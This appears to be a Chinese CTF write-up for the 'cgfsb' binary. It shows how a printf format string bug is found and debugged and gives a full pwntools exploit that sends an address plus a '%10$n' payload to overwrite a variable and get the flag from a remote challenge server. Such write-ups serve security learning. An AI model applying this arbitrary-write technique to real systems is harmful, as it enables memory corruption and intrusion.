0x00 先file和checksec(打码打码,看不到看不到)
image.png0x01 拖进ida32查看
image.png- 明显的
printf
格式化字符串漏洞 - 分析程序,
pwnme=8
即可拿到flag
- 这时候思路就有了,查看
pwnme
的地址为0x0804A068
,利用printf
格式化字符串漏洞addr+%N$n
修改任意地址的值,其中%N$n
是以printf第N+1个参数位置的值为地址(printf中格式化字符串是第0个参数),将输出过的字符数量的值写入这个地址中
0x02 下断点在第二个printf
处,输入AAAA
image.png
0x03 调试程序到第二个printf
处,查看此时stack
情况
image.png
- 0xffffd0d8为格式化字符串的地址
- 0x41414141是printf的第11个参数位置,相对格式化字符串为第10个位置
- 所以上述的N为10
0x04 给出完整exp
主体在if __name__ == '__main__':
中,其它都是模板,个人喜好而已,直接套用就行
from pwn import *
local=0
pc='./cgfsb'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
#gdb.attach(p,'c')
else:
remote_addr=['111.198.29.45', 39802]
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
if __name__ == '__main__':
payload1 = 'cxy'
pwnme = 0x0804A068
payload2 = p32(pwnme) + 'aaaa'
payload2 += '%10$n'
rl()
sl(payload1)
rl()
sl(payload2)
rl()
p.interactive()
网友评论